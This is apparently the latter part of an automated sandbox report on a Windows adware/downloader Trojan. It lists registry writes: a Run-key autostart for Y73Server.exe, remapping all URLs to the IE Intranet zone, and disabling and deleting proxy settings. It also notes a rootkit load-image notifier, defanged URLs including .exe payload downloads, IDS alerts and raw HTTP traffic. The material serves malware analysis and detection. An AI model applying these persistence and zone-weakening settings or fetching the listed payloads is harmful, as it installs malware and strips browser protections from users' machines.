"Seed" = "22 74 CB E2 F4 D4 3A 94 7A 3D 60 04 C5 18 D2 A8"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Y73ÖÖ×ÓËÑË÷ÉñÆ÷" = "%Program Files%\Y73ÖÖ×ÓËÑË÷ÉñÆ÷\Y73Server.exe"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process copy%original file name%.exe:1316 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012015060120150602]
"CacheRepair" = "0"

"CachePrefix" = ":2015060120150602:"
"CachePath" = "%USERPROFILE%\Local Settings\History\History.IE5\MSHist012015060120150602\"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012015060120150602]
"CacheLimit" = "8192"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Start Menu" = "%Documents and Settings%\%current user%\Start Menu"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1C 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "F7 C1 7C 26 CA 42 4F 5D 33 F9 0B CD 33 36 BC 54"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012015060120150602]
"CacheOptions" = "11"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan deletes the following registry key(s):

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012014031720140318]

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

Dropped PE files

HOSTS file anomalies

No changes have been detected.

Rootkit activity

Using the driver "UNKNOWN" the Trojan controls loading executable images into a memory by installing the Load image notifier.

Propagation

VersionInfo

No information is available.

PE Sections

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

URLs

URL	IP
hxxp://tongji.110160.com/newcount.aspx	174.139.167.118
hxxp://tongji.110160.com/will.html	174.139.167.118
hxxp://tongji.110160.com/paramfile/tasklist.txt	174.139.167.118
hxxp://tongji.110160.com/paramfile/main.txt	174.139.167.118
hxxp://tongji.110160.com/ad.htm	174.139.167.118
hxxp://all.cnzz.com.danuoyi.tbcache.com/z_stat.php?id=1255080332
hxxp://all.cnzz.com.danuoyi.tbcache.com/core.php?web_id=1255080332&t=z
hxxp://oz.cnzz.com/stat.htm?id=1255080332&r=&lg=en-us&ntime=none&cnzz_eid=102748168-1433180973-&showp=1276x846&t=&h=1&rnd=1688775461	198.11.132.200
hxxp://js.users.51.la/17745949.js	117.21.227.34
hxxp://cnzz.mmstat.com/9.gif?abc=1&rnd=695925969	42.120.219.171
hxxp://s.click.gds.taobao.com/t?e=m=2&s=35qbAmPcNZ4cQipKwQzePCperVdZeJviEViQ0P1Vf2kguMN8XjClAgeSiZ4DAJSwSWmUbzNGsoQJQ2Ds+V2hm/dhTHoLjIagalccoinlb2h3Sd4VibvlLeo0BcZWWIRYYA/DpPH01wK9AmARIwX9K+AjBDXvuqoU47FHjfsActnIQu5PdXpojKJn5AyUbPoV
hxxp://s.click.gds.taobao.com/t_js?tu=http://s.click.taobao.com/t?e=m%3D2%26s%3D35qbAmPcNZ4cQipKwQzePCperVdZeJviEViQ0P1Vf2kguMN8XjClAgeSiZ4DAJSwSWmUbzNGsoQJQ2Ds%2BV2hm%2FdhTHoLjIagalccoinlb2h3Sd4VibvlLeo0BcZWWIRYYA%2FDpPH01wK9AmARIwX9K%2BAjBDXvuqoU47FHjfsActnIQu5PdXpojKJn5AyUbPoV&ref=&et=558qJCi5lfDmNxpSGDi6si7lyGrLBGCr
hxxp://s.click.gds.taobao.com/t?e=m=2&s=35qbAmPcNZ4cQipKwQzePCperVdZeJviEViQ0P1Vf2kguMN8XjClAgeSiZ4DAJSwSWmUbzNGsoQJQ2Ds+V2hm/dhTHoLjIagalccoinlb2h3Sd4VibvlLeo0BcZWWIRYYA/DpPH01wK9AmARIwX9K+AjBDXvuqoU47FHjfsActnIQu5PdXpojKJn5AyUbPoV&ref=&et=558qJCi5lfDmNxpSGDi6si7lyGrLBGCr
hxxp://cnzz.mmstat.com/app.gif?&cna=74rzDSF6YRECAcGK9Oe2PPyt	42.120.219.171
hxxp://tongji.110160.com/detail.ashx	174.139.167.118
hxxp://wagbridge.gds.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1433181426_2k2_1782438798
hxxp://g.alicdn.com.danuoyi.alicdn.com/ju/common/1.5.9/global-min.css	195.27.31.240
hxxp://g.alicdn.com.danuoyi.alicdn.com/ju/home/1.3.5/pages/2015/index.less.css	195.27.31.240
hxxp://g.alicdn.com.danuoyi.alicdn.com/??kissy/k/1.4.14/seed-min.js,ju/common/1.5.9/global-min.js,tb/tracker/1.0.16/index.js	195.27.31.240
hxxp://g.alicdn.com.danuoyi.alicdn.com/alilog/mlog/aplus_v2.js	195.27.31.240
hxxp://g.alicdn.com.danuoyi.alicdn.com/kissy/k/1.4.14/??dom/base-min.js,dom/ie-min.js,dom/class-list-min.js,dom/selector-min.js,event-min.js,event/dom/base-min.js,event/base-min.js,event/dom/hashchange-min.js,event/dom/ie-min.js,event/custom-min.js,io-min.js,promise-min.js,anim-min.js,anim/base-min.js,anim/timer-min.js,base-min.js,attribute-min.js,node-min.js,json-min.js,cookie-min.js	195.27.31.240
hxxp://g.alicdn.com.danuoyi.alicdn.com/ju/??lazyload/1.1.7/index-min.js,julog/1.0.10/index-min.js,julogin/1.1.3/index-min.js?t=16588.js	195.27.31.240
hxxp://g.alicdn.com.danuoyi.alicdn.com/s.gif	195.27.31.240
hxxp://g.alicdn.com.danuoyi.alicdn.com/alilog/mlog/??spm.js,spmact.js?v=141204	195.27.31.240
hxxp://gtms02.alicdn.com.danuoyi.alicdn.com/tps/i2/TB1c5kBHVXXXXbnXXXXQoJ3FVXX-150-50.png	195.59.70.240
hxxp://gtms02.alicdn.com.danuoyi.alicdn.com/t/font_1432191682_899724.eot?	195.59.70.240
hxxp://gtms02.alicdn.com.danuoyi.alicdn.com/tps/i3/TB1zdlkIXXXXXXjaXXXYMrr2pXX-750-300.jpg_Q90.jpg	195.59.70.240
hxxp://gtms02.alicdn.com.danuoyi.alicdn.com/tps/i3/TB1BnawHFXXXXaNaXXXgMSN.FXX-130-50.png	195.59.70.240
hxxp://log.gds.mmstat.com/4.gif?logtype=1&title=%u3010%u805A%u5212%u7B97%u3011%u65E0%u6240%u4E0D%u80FD%u805A&pre=http://s.click.taobao.com/t_js?tu=http%3A%2F%2Fs.click.taobao.com%2Ft%3Fe%3Dm%253D2%2526s%253D35qbAmPcNZ4cQipKwQzePCperVdZeJviEViQ0P1Vf2kguMN8XjClAgeSiZ4DAJSwSWmUbzNGsoQJQ2Ds%252BV2hm%252FdhTHoLjIagalccoinlb2h3Sd4VibvlLeo0BcZWWIRYYA%252FDpPH01wK9AmARIwX9K%252BAjBDXvuqoU47FHjfsActnIQu5PdXpojKJn5AyUbPoV%26ref%3D%26et%3D558qJCi5lfDmNxpSGDi6si7lyGrLBGCr&cache=d5f48d9&scr=1276x846&spm-cnt=608.2291429.0.0.1ejWoV&isbeta=2&category=&uidaplus=&at_bucketid=jhs_ju_7&aplus&yunid=&&trid=0ab5aca614331814273453737e&asid=AQAAAADznGxVojnGDAAAAAAgcFJzMqXBWw==&p=1&o=winXP&b=ie6&s=1276x846&w=trident
hxxp://sh.wagbridge.ju.gds.taobao.com/json/tg/juSkip.htm?callback=skipFn0&menuType=index
hxxp://g.alicdn.com.danuoyi.alicdn.com/??ju/home/1.3.5/pages/2015/index-min.js,kissy/k/1.3.2/template-min.js	195.27.31.240
hxxp://gtms02.alicdn.com.danuoyi.alicdn.com/tps/i4/TB1xrxIIXXXXXbxXpXXt7e2LVXX-1920-455.jpg_q75.jpg	195.59.70.240
hxxp://gtms02.alicdn.com.danuoyi.alicdn.com/tps/i4/TB17ZwIHVXXXXXGXXXXrywt4VXX-120-120.png	195.59.70.240
hxxp://gtms02.alicdn.com.danuoyi.alicdn.com/tps/i3/TB1ODS9HFXXXXbaXFXXMmPIJFXX-9-7.gif	195.59.70.240
hxxp://g.alicdn.com.danuoyi.alicdn.com/tps/i1/TB10W7HHpXXXXX3aXXXrywt4VXX-120-120.png	195.27.31.240
hxxp://g.alicdn.com.danuoyi.alicdn.com/tps/i1/TB1eHBsGFXXXXa7XFXXoYWL.FXX-130-35.png	195.27.31.240
hxxp://gtms02.alicdn.com.danuoyi.alicdn.com/tps/i3/TB1nrpzIXXXXXbFXpXXSgLWZVXX-290-420.jpg_q90.jpg	195.59.70.240
hxxp://gtms02.alicdn.com.danuoyi.alicdn.com/tps/i4/TB1.3PmHpXXXXczaXXXrywt4VXX-120-120.png	195.59.70.240
hxxp://all.cnzz.com.danuoyi.tbcache.com/stat.php?id=1254485011
hxxp://g.alicdn.com.danuoyi.alicdn.com/ju/??jufav/1.0.29/index-min.js?t=16588.js	195.27.31.240
hxxp://g.alicdn.com.danuoyi.alicdn.com/ju/??jufav/1.0.29/jufav-min.css?t=16588.css	195.27.31.240
hxxp://g.alicdn.com.danuoyi.alicdn.com/ju/??jupopup/1.0.7/index-min.js?t=16588.js	195.27.31.240
hxxp://all.cnzz.com.danuoyi.tbcache.com/core.php?web_id=1254485011&t=z
hxxp://pcookie.gds.taobao.com/app.gif?&cna=74rzDSF6YRECAcGK9Oe2PPyt
hxxp://oz.cnzz.com/stat.htm?id=1254485011&r=&lg=en-us&ntime=none&cnzz_eid=578974474-1433180982-&showp=1276x846&t=undefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefined&h=1&rnd=1863171824	198.11.132.200
hxxp://gtms02.alicdn.com.danuoyi.alicdn.com/s/kissy/gallery/??kscroll/1.2/index-min.js,RichDate/1.0/index-min.js	195.59.70.240
hxxp://g.alicdn.com.danuoyi.alicdn.com/ju/??jupopup/1.0.7/box-min.css?t=16588.css	195.27.31.240
hxxp://g.alicdn.com.danuoyi.alicdn.com/sd/data_sufei/1.4.3/aplus/index.js	195.27.31.240
hxxp://g.alicdn.com.danuoyi.alicdn.com/tps/i1/T1A30CFvXbXXbhgrfd-29-26.png	195.27.31.240
hxxp://gtms02.alicdn.com.danuoyi.alicdn.com/tps/i3/T1SYFVFEhjXXaa3MZD-222-103.png	195.59.70.240
hxxp://gtms02.alicdn.com.danuoyi.alicdn.com/tps/i1/TB1BCuuGXXXXXX5XVXXliWH8FXX-126-354.png	195.59.70.240
hxxp://gtms02.alicdn.com.danuoyi.alicdn.com/tps/i3/TB1QMwDHVXXXXaFXXXXNDV3FVXX-150-50.gif	195.59.70.240
hxxp://sh.wagbridge.ju.gds.taobao.com/json/collect_mark.htm?_ksTS=1433181431291_98&callback=jsonp99
hxxp://g.alicdn.com.danuoyi.alicdn.com/tps/i1/TB1g8IVHVXXXXceXpXXYMrr2pXX-750-300.jpg_Q90.jpg	195.27.31.240
hxxp://g.alicdn.com.danuoyi.alicdn.com/tps/i1/TB1UaVtIXXXXXbHXFXX9sla8VXX-750-300.jpeg_Q90.jpg	195.27.31.240
hxxp://gtms02.alicdn.com.danuoyi.alicdn.com/tps/i2/TB1nEVIIXXXXXcyXXXXYMrr2pXX-750-300.jpg_Q90.jpg	195.59.70.240
hxxp://gtms02.alicdn.com.danuoyi.alicdn.com/tps/i2/TB17AE8HVXXXXaDXXXX9sla8VXX-750-300.jpeg_Q90.jpg	195.59.70.240
hxxp://down.ybofang.cn/small/sw/-2100_1_xcfx.exe	220.167.104.226
hxxp://web.fx.cncll.net/btns/btns.js	222.88.93.120
hxxp://down.ybofang.cn/play/fxappimg/btn/tab3.png	220.167.104.226
hxxp://down.ybofang.cn/play/fxappimg/btn/tab2.png	220.167.104.226
hxxp://tgi-cn.net.w.alikunlun.com/down/069.exe
hxxp://json.app.cncll.net/app/json/advstyle/9.js	125.43.78.109
hxxp://pcookie.taobao.com/app.gif?&cna=74rzDSF6YRECAcGK9Oe2PPyt	140.205.96.5
hxxp://log.mmstat.com/4.gif?logtype=1&title=%u3010%u805A%u5212%u7B97%u3011%u65E0%u6240%u4E0D%u80FD%u805A&pre=http://s.click.taobao.com/t_js?tu=http%3A%2F%2Fs.click.taobao.com%2Ft%3Fe%3Dm%253D2%2526s%253D35qbAmPcNZ4cQipKwQzePCperVdZeJviEViQ0P1Vf2kguMN8XjClAgeSiZ4DAJSwSWmUbzNGsoQJQ2Ds%252BV2hm%252FdhTHoLjIagalccoinlb2h3Sd4VibvlLeo0BcZWWIRYYA%252FDpPH01wK9AmARIwX9K%252BAjBDXvuqoU47FHjfsActnIQu5PdXpojKJn5AyUbPoV%26ref%3D%26et%3D558qJCi5lfDmNxpSGDi6si7lyGrLBGCr&cache=d5f48d9&scr=1276x846&spm-cnt=608.2291429.0.0.1ejWoV&isbeta=2&category=&uidaplus=&at_bucketid=jhs_ju_7&aplus&yunid=&&trid=0ab5aca614331814273453737e&asid=AQAAAADznGxVojnGDAAAAAAgcFJzMqXBWw==&p=1&o=winXP&b=ie6&s=1276x846&w=trident	140.205.248.86
hxxp://s.click.taobao.com/t?e=m=2&s=35qbAmPcNZ4cQipKwQzePCperVdZeJviEViQ0P1Vf2kguMN8XjClAgeSiZ4DAJSwSWmUbzNGsoQJQ2Ds+V2hm/dhTHoLjIagalccoinlb2h3Sd4VibvlLeo0BcZWWIRYYA/DpPH01wK9AmARIwX9K+AjBDXvuqoU47FHjfsActnIQu5PdXpojKJn5AyUbPoV	140.205.136.25
hxxp://gtms03.alicdn.com/tps/i3/TB1BnawHFXXXXaNaXXXgMSN.FXX-130-50.png	195.27.31.250
hxxp://gtms01.alicdn.com/tps/i1/TB1UaVtIXXXXXbHXFXX9sla8VXX-750-300.jpeg_Q90.jpg	195.27.31.240
hxxp://g.alicdn.com/ju/common/1.5.9/global-min.css	195.27.31.240
hxxp://g.alicdn.com/ju/??lazyload/1.1.7/index-min.js,julog/1.0.10/index-min.js,julogin/1.1.3/index-min.js?t=16588.js	195.27.31.240
hxxp://gtms03.alicdn.com/tps/i3/TB1nrpzIXXXXXbFXpXXSgLWZVXX-290-420.jpg_q90.jpg	195.27.31.250
hxxp://gtms04.alicdn.com/tps/i4/TB17ZwIHVXXXXXGXXXXrywt4VXX-120-120.png	195.59.70.240
hxxp://s95.cnzz.com/z_stat.php?id=1255080332	1.99.192.16
hxxp://s.click.taobao.com/t_js?tu=http://s.click.taobao.com/t?e=m%3D2%26s%3D35qbAmPcNZ4cQipKwQzePCperVdZeJviEViQ0P1Vf2kguMN8XjClAgeSiZ4DAJSwSWmUbzNGsoQJQ2Ds%2BV2hm%2FdhTHoLjIagalccoinlb2h3Sd4VibvlLeo0BcZWWIRYYA%2FDpPH01wK9AmARIwX9K%2BAjBDXvuqoU47FHjfsActnIQu5PdXpojKJn5AyUbPoV&ref=&et=558qJCi5lfDmNxpSGDi6si7lyGrLBGCr	140.205.136.25
hxxp://g.alicdn.com/alilog/mlog/aplus_v2.js	195.27.31.240
hxxp://g.alicdn.com/kissy/k/1.4.14/??dom/base-min.js,dom/ie-min.js,dom/class-list-min.js,dom/selector-min.js,event-min.js,event/dom/base-min.js,event/base-min.js,event/dom/hashchange-min.js,event/dom/ie-min.js,event/custom-min.js,io-min.js,promise-min.js,anim-min.js,anim/base-min.js,anim/timer-min.js,base-min.js,attribute-min.js,node-min.js,json-min.js,cookie-min.js	195.27.31.240
hxxp://gtms03.alicdn.com/tps/i3/TB1QMwDHVXXXXaFXXXXNDV3FVXX-150-50.gif	195.27.31.250
hxxp://g.alicdn.com/??ju/home/1.3.5/pages/2015/index-min.js,kissy/k/1.3.2/template-min.js	195.27.31.240
hxxp://pcookie.cnzz.com/app.gif?&cna=74rzDSF6YRECAcGK9Oe2PPyt	42.120.219.171
hxxp://gtd.alicdn.com/tps/i3/T1SYFVFEhjXXaa3MZD-222-103.png	195.59.70.240
hxxp://gtms03.alicdn.com/tps/i3/TB1ODS9HFXXXXbaXFXXMmPIJFXX-9-7.gif	195.27.31.250
hxxp://g.alicdn.com/alilog/mlog/??spm.js,spmact.js?v=141204	195.27.31.240
hxxp://gtms02.alicdn.com/tps/i2/TB1nEVIIXXXXXcyXXXXYMrr2pXX-750-300.jpg_Q90.jpg	195.59.70.240
hxxp://g.alicdn.com/??kissy/k/1.4.14/seed-min.js,ju/common/1.5.9/global-min.js,tb/tracker/1.0.16/index.js	195.27.31.240
hxxp://at.alicdn.com/t/font_1432191682_899724.eot?	195.59.70.240
hxxp://gtd.alicdn.com/tps/i1/TB1BCuuGXXXXXX5XVXXliWH8FXX-126-354.png	195.59.70.240
hxxp://g.alicdn.com/ju/??jupopup/1.0.7/index-min.js?t=16588.js	195.27.31.240
hxxp://gtms01.alicdn.com/tps/i1/TB1eHBsGFXXXXa7XFXXoYWL.FXX-130-35.png	195.27.31.240
hxxp://s.click.taobao.com/t?e=m=2&s=35qbAmPcNZ4cQipKwQzePCperVdZeJviEViQ0P1Vf2kguMN8XjClAgeSiZ4DAJSwSWmUbzNGsoQJQ2Ds+V2hm/dhTHoLjIagalccoinlb2h3Sd4VibvlLeo0BcZWWIRYYA/DpPH01wK9AmARIwX9K+AjBDXvuqoU47FHjfsActnIQu5PdXpojKJn5AyUbPoV&ref=&et=558qJCi5lfDmNxpSGDi6si7lyGrLBGCr	140.205.136.25
hxxp://g.alicdn.com/ju/??jupopup/1.0.7/box-min.css?t=16588.css	195.27.31.240
hxxp://c.cnzz.com/core.php?web_id=1254485011&t=z	195.27.31.246
hxxp://skip.ju.taobao.com/json/tg/juSkip.htm?callback=skipFn0&menuType=index	140.205.140.193
hxxp://jc.110160.com/ad.htm	174.139.167.118
hxxp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1433181426_2k2_1782438798	140.205.164.98
hxxp://s11.cnzz.com/stat.php?id=1254485011	1.99.192.16
hxxp://g.alicdn.com/ju/??jufav/1.0.29/index-min.js?t=16588.js	195.27.31.240
hxxp://g.alicdn.com/ju/home/1.3.5/pages/2015/index.less.css	195.27.31.240
hxxp://pc.tgi-cn.net/down/069.exe	27.221.34.120
hxxp://dskip.ju.taobao.com/json/collect_mark.htm?_ksTS=1433181431291_98&callback=jsonp99	140.205.152.196
hxxp://gtms01.alicdn.com/tps/i1/T1A30CFvXbXXbhgrfd-29-26.png	195.27.31.240
hxxp://gtms04.alicdn.com/tps/i4/TB1xrxIIXXXXXbxXpXXt7e2LVXX-1920-455.jpg_q75.jpg	195.59.70.240
hxxp://a.tbcdn.cn/s/kissy/gallery/??kscroll/1.2/index-min.js,RichDate/1.0/index-min.js	195.59.70.240
hxxp://gtms01.alicdn.com/tps/i1/TB1g8IVHVXXXXceXpXXYMrr2pXX-750-300.jpg_Q90.jpg	195.27.31.240
hxxp://gtms02.alicdn.com/tps/i2/TB1c5kBHVXXXXbnXXXXQoJ3FVXX-150-50.png	195.59.70.240
hxxp://g.alicdn.com/sd/data_sufei/1.4.3/aplus/index.js	195.27.31.240
hxxp://g.alicdn.com/s.gif	195.27.31.240
hxxp://c.cnzz.com/core.php?web_id=1255080332&t=z	195.27.31.246
hxxp://gtms02.alicdn.com/tps/i2/TB17AE8HVXXXXaDXXXX9sla8VXX-750-300.jpeg_Q90.jpg	195.59.70.240
hxxp://gtms03.alicdn.com/tps/i3/TB1zdlkIXXXXXXjaXXXYMrr2pXX-750-300.jpg_Q90.jpg	195.27.31.250
hxxp://image.anbangjiance.com/play/fxappimg/btn/tab2.png	60.221.255.11
hxxp://gtms01.alicdn.com/tps/i1/TB10W7HHpXXXXX3aXXXrywt4VXX-120-120.png	195.27.31.240
hxxp://image.anbangjiance.com/play/fxappimg/btn/tab3.png	60.221.255.11
hxxp://gtms04.alicdn.com/tps/i4/TB1.3PmHpXXXXczaXXXrywt4VXX-120-120.png	195.59.70.240
hxxp://g.alicdn.com/ju/??jufav/1.0.29/jufav-min.css?t=16588.css	195.27.31.240
tja.y73.com	119.147.115.78
web2.51.la	222.187.225.123
img.y73.com	119.147.115.60
ou.cncll.net	222.88.93.108
so.y73.com	61.196.186.155
down.y73shop.com	121.12.175.51
www.91debug.com	98.126.195.43
idca.y73.com	119.147.115.60
udt.cncll.net	120.131.64.117
ftt.cncll.net	120.131.64.116

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

ET POLICY HTTP Request on Unusual Port Possibly Hostile
ET SHELLCODE Possible Call with No Offset TCP Shellcode

Traffic

GET /t_js?tu=http://s.click.taobao.com/t?e=m%3D2%26s%3D35qbAmPcNZ4cQipKwQzePCperVdZeJviEViQ0P1Vf2kguMN8XjClAgeSiZ4DAJSwSWmUbzNGsoQJQ2Ds%2BV2hm%2FdhTHoLjIagalccoinlb2h3Sd4VibvlLeo0BcZWWIRYYA%2FDpPH01wK9AmARIwX9K%2BAjBDXvuqoU47FHjfsActnIQu5PdXpojKJn5AyUbPoV&ref=&et=558qJCi5lfDmNxpSGDi6si7lyGrLBGCr HTTP/1.1

Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml xml, */*

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: s.click.taobao.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Date: Mon, 01 Jun 2015 17:57:05 GMT

Content-Type: text/html; charset=GBK

Last-Modified: Thu, 28 May 2015 11:54:05 GMT

Transfer-Encoding: chunked

Connection: close

Vary: Accept-Encoding

Expires: Mon, 01 Jun 2015 17:57:05 GMT

Cache-Control: max-age=0

Content-Encoding: gzip
2d3.............U[o.0.~..0.J...0^F!Tk..J.ZML.Dy0.C.9qH..j...s..h..Z./.
.......qu{9.y7...9..vqs}..)....._....O..7...`..(e...p.G_ ......y....D2
...x..:.....=O.I...A.p..(u..tz.^.]`).T..v&..jR7a..r.S..t%./.$....~..:d
!-....w...V*..........5Jh..K-<....lr.7..S.a..?..%h..gaf.{.......,.4
.ol.......P@..,)b..K........lP...|.SZFP..Y..,[email protected].'OO!N...
N;......E*......".....v...".\....w.jU.t.....}.u.2..".0uP..Z..|....t..E
.3......p..1v....Lyf.M].S..@2...$..Vj...WBf.`_.]1.?.U*.......E.]..Vq8N
..N.}T_.\...H.1#.."TFh;...K.....Y...\s.8. ..B.g!....J........e...Y.h#W
."GDJ...%...n.......Deh.....Tg~...=.67Y.E".....,[email protected]`.
.>...i..7q..7..<83.t.T.8.....g.*.i..a..l.U...4..z....<..N.p..
[email protected]_=*......]..d..?tDG.......0..

GET /tps/i3/T1SYFVFEhjXXaa3MZD-222-103.png HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1433181426_2k2_1782438798

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: gtd.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: image/png

Content-Length: 3480

Connection: keep-alive

Date: Thu, 06 Nov 2014 11:19:14 GMT

Last-Modified: Sun, 16 Mar 2014 03:43:26 GMT

Expires: Sun, 03 Nov 2024 11:19:14 GMT

Cache-Control: max-age=315360000

Access-Control-Allow-Origin: *

Via: cache7.l2de1[0,200-0,H], cache41.l2de1[1,0], cache12.uk1[0,200-0,H], cache1.uk1[0,0]

Age: 17908676

X-Cache: HIT TCP_MEM_HIT dirn:6:379008585

X-Swift-SaveTime: Mon, 11 May 2015 09:25:18 GMT

X-Swift-CacheTime: 299296436
